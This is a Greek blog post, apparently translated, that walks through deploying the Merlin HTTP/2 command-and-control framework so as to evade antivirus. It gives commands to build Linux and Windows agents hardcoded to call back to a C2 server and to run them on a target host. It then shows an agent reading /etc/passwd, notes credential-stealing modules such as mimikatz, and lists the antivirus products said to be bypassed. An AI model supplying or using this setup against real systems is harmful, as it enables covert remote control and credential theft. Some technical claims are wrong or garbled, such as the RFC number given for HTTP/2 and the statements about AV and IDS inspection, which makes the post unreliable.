in

Merlin για την αποφυγή ανίχνευσης από AV


Το Merlin είναι ένας διακομιστής HTTP/2 Command & Control (C&C) για Post Exploitation πολλαπλών πλατφορμών, γραμμένος σε γλώσσα Golang. Το Merlin λειτουργεί βάσει αρχιτεκτονικής πελάτη-διακομιστή και εκμεταλλεύεται το πρωτόκολλο HTTP/2 για την πραγματοποίηση επικοινωνιών μεταξύ server και host agents

Το σχήμα 1 παρακάτω δείχνει πώς θα μπορούσε να χρησιμοποιηθεί το Merlin κατά τη διάρκεια ενός pentest.

 

Παράκαμψη ασφαλείας χρησιμοποιώντας το πρωτόκολλο HTTP/2

Χρησιμοποιώντας το πρωτόκολλο HTTP/2 κατά τη διάρκεια των συνδέσεων του Merlin, επιτυγχάνουμε καλύτερη χρήση των πόρων του δικτύου και μειωμένη αντίληψη του λανθάνοντος χρόνου με την εισαγωγή συμπίεσης του πεδίου κεφαλίδας (header) και επιτρέποντας πολλαπλές ταυτόχρονες ανταλλαγές στην ίδια τη σύνδεση. Αυτό το νέο πρωτόκολλο που επικυρώθηκε στο RFC7450 μπορεί να θεωρηθεί ως τρόπος επίλυσης ορισμένων ζητημάτων HTTP/1.x.

Καθώς είναι ένα νέο πρωτόκολλο, θα προκαλέσει δυσκολίες στις συσκευές IDS / IPS.

Εν συντομία, τα υπάρχοντα εργαλεία δεν είναι εξοπλισμένα για την κατανόηση ή την επιθεώρηση αυτού του πρωτοκόλλου. Επιπλέον, το HTTP/2 είναι ένα δυαδικό (binary) πρωτόκολλο κάτι που το καθιστά πιο συμπαγές, εύκολο στην ανάλυση και δεν είναι αναγνώσιμο από τον χρήστη χωρίς τη χρήση AV.

Σήμερα, οι συσκευές ασφαλείας δεν είναι σε θέση να κατανοήσουν το πρωτόκολλο HTTP/2 ακόμη και είναι σε θέση να αποκρυπτογραφήσουν την κυκλοφορία του δικτύου για έλεγχο. Ο συνδυασμός κρυπτογράφησης και η έλλειψη υποστήριξης του πρωτοκόλλου από εργαλεία επιθεώρησης, παρέχουν μια μεγάλη ευκαιρία για να αποφύγετε τον εντοπισμό.

Σε αυτό το σημείο, θα δείξουμε πώς μπορεί να χρησιμοποιηθεί το Merlin για να δημιουργήσει μια επικοινωνία C&C κατά τη διάρκεια μιας pentest δοκιμής.

Ξεκινάμε κατεβάζοντας το Merlin από τη σελίδα του GitHub. Για να γίνει αυτό, πρέπει να πληκτρολογήσουμε την παρακάτω εντολή στο τερματικό μας. Σημειώστε ότι χρησιμοποιήθηκε μια διανομή Kali Linux για την εκτέλεση αυτού του οδηγού.

git clone https://github.com/Ne0nd0g/merlin.git

Στη συνέχεια, πρέπει να δημιουργήσουμε ένα πιστοποιητικό SSL για να χρησιμοποιήσουμε ένα κανάλι κρυπτογράφησης και για να δημιουργήσουμε συνδέσεις μεταξύ του διακομιστή και των agents του κεντρικού υπολογιστή. Τα αρχεία των αποτελεσμάτων πρέπει να δημιουργηθούν στο φάκελο “/data/x509” με την ακόλουθη εντολή.

Εικόνα 2: Δημιουργία κλειδιού SSL – διακομιστής Merlin στο φάκελο “/data/x509”.

Δημιουργία Linux agent

Από πλευράς του διακομιστή Merlin το Merlin πρέπει να ξεκινήσει πριν από την εκτέλεση των agents. Χρησιμοποιήστε την ακόλουθη εντολή:

Εικόνα 3: Ο διακομιστής Merlin ξεκίνησε στο localhost: 127.0.0.1:443.

Μετά την εκτέλεση του Linux agent στον κεντρικό target host, λαμβάνεται μια νέα σύνδεση στον διακομιστή Merlin. Κάποια εντολή πρέπει να χρησιμοποιηθεί για την εκκίνηση, όπως:

  • agent list  – λίστα διαθέσιμων agents
  • interact [id] – αλληλεπίδραση με τον καθορισμένο agent
  • info – λήψη πληροφοριών σχετικά με τον κεντρικό target host
  • cmd cat /etc/passwd – λήψη του περιεχομένου του αρχείου passwd που βρίσκεται στο /etc/passwd

Σχήμα 4: Σύνδεση Merlin από έναν Linux agent που ελήφθη από το αρχείο “/etc/passwd”.

Επιπλέον, άλλες εντολές και λειτουργικές μονάδες μπορούν να χρησιμοποιηθούν μέσω της εντολής βοήθειας.

Σχήμα 5: Διαθέσιμες μονάδες του Merlin.

Ένα άλλο ενδιαφέρον μέρος αυτού του εργαλείου είναι η ικανότητα της δημιουργίας agents για διάφορες αρχιτεκτονικές των λειτουργικών συστημάτων. Στη συνέχεια, θα δημιουργηθεί ένα ειδικά κατασκευασμένο payload σε ένα ενημερωμένο λειτουργικό Windows 10, με τη ισχυρή ασφάλεια.

Εκτελώντας μια σάρωση με το Windows Defender για τον συγκεκριμένο agent ( agent_windows.exe), μπορούμε να επαληθεύσουμε ότι δεν εντοπίστηκε .


Σχήμα 6: Ο
agent Merlin για Windows παρακάμπτει το Windows Defender.

Σε αυτήν την περίπτωση, ο διακομιστής Merlin πρέπει να εκτελεστεί με τις ακόλουθες παραμέτρους: -i [τοπική διεύθυνση IP] και -p [τοπική θύρα]. Αυτά τα δεδομένα ήταν κωδικοποιημένα με δυαδικό σύστημα ( agent_windows.exe ).

Εικόνα 7: Εκκίνηση του διακομιστή Merlin με συγκεκριμένη θύρα IP / θύρα.

Το payload αποφεύγει τον εντοπισμό της υπογραφής του στα Windows 10 με πλήρως ενημερωμένο το Microsoft Windows Defender.

Στη συνέχεια εκτελείται ο agent:

Σχήμα 8: Ο agent Merlin εκτελέστηκε σε ένα πλήρως ενημερωμένο Windows 10 παρακάμπτοντας το Windows Defender.

Στον διακομιστή του Merlin, λαμβάνεται μια νέα σύνδεση όπως παρουσιάζεται παρακάτω.

Από εδώ, ένα σύνολο εγγενών εντολών των Windows μπορεί να χρησιμοποιηθεί μέσω της εντολής cmd και αρκετών modules, όπως τα harvesting, mimikatz, sharphound, credential stealers και άλλα.

Εικόνα 9: Αλληλεπίδραση διακομιστή Merlin με τον agent των Windows.

Χαμηλό ποσοστό ανίχνευσης από AV.

Μετά την εκτέλεση των δοκιμών, το δείγμα δόθηκε για test στο VirusTotal και μόνο 13 από τους 68 AV εντόπισαν τον agent Merlin ως κακόβουλο.

Εικόνα 10: Χαμηλό ποσοστό ανίχνευσης του agent Merlin στα Windows όπως φαίνετε στο VirusTotal.Ποιά AV παρακάμπτει:

  • Windows Defender
  • Kaspersky
  • Malwarebytes
  • Cylance
  • McAfee
  • Symantec

Σχήμα 11: Οι AV παρακάμπτονται από τον Merlin agent.

 

Τέλος το Merlin είναι ένα cross-platform post-exploitation framework που αξιοποιεί τις επικοινωνίες HTTP/2 για να αποφύγει τον εντοπισμό, και να παρακάμψει συσκευές ασφαλείας και ανίχνευση από AV.

Το HTTP/2 είναι ένα σχετικά νέο πρωτόκολλο που διαθλετει τις κρυπτογραφημένες σουίτες Perfect Forward Secrecy (PFS).Οι πρόσθετες επιλογές του, περιλαμβάνουν την υποβάθμιση της κρυπτογράφησης σε μη κρυπτογραφημένη σουίτα χωρίς τη δυνατότητα PFS ή τη χρήση terminating proxy.Από την άλλη πλευρά, η αποφυγή από AV επιτυγχάνεται κάθε φορά που δημιουργείται ένας νέος Merlin agent. Το Golang είναι ένα εξαιρετικό εργαλείο με τη δυνατότητα δημιουργίας αυτόνομων δυαδικών αρχείων σε ένα απλό δυαδικό αρχείο και έχει πολλές δυνατότητες που το καθιστούν μια πολύ ισχυρή γλώσσα. Μια άλλη ενδιαφέρουσα λεπτομέρεια είναι ότι έχει μεταγλωττιστεί σε κώδικα μηχανήματος, οπότε έχει καλή απόδοση και εξαιτίας αυτού, μπορεί να παρακάμψει τον εντοπισμό του.

openssl req -x509 -newkey rsa: 4096 -sha256 -nodes -keyout server.key -out server.crt -subj “/ CN = infosecinstitute” -days 7

GOOS=linux GOARCH=amd64 go build -ldflags “-X main.url=https://127.0.0.1:443” -o agent_linux main.go

#executing the agent on the target host

chmod+x agent_linux && ./agent_linux

sudo go run cmd/merlinserver/main.go -i [ip-address]

GOOS=windows GOARCH=amd64 go build -ldflags “-X main.url=https://192.168.0.165:8080” -o agent_windows.exe main.go

go run cmd/merlinserver/main.go -i 192.168.0.165 -p 8080

 


 

Εγγραφή στο Ιστολόγιο μέσω Email

Εισάγετε το email σας για εγγραφή στην υπηρεσία αποστολής ειδοποιήσεων μέσω email για νέες δημοσιεύσεις.

Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news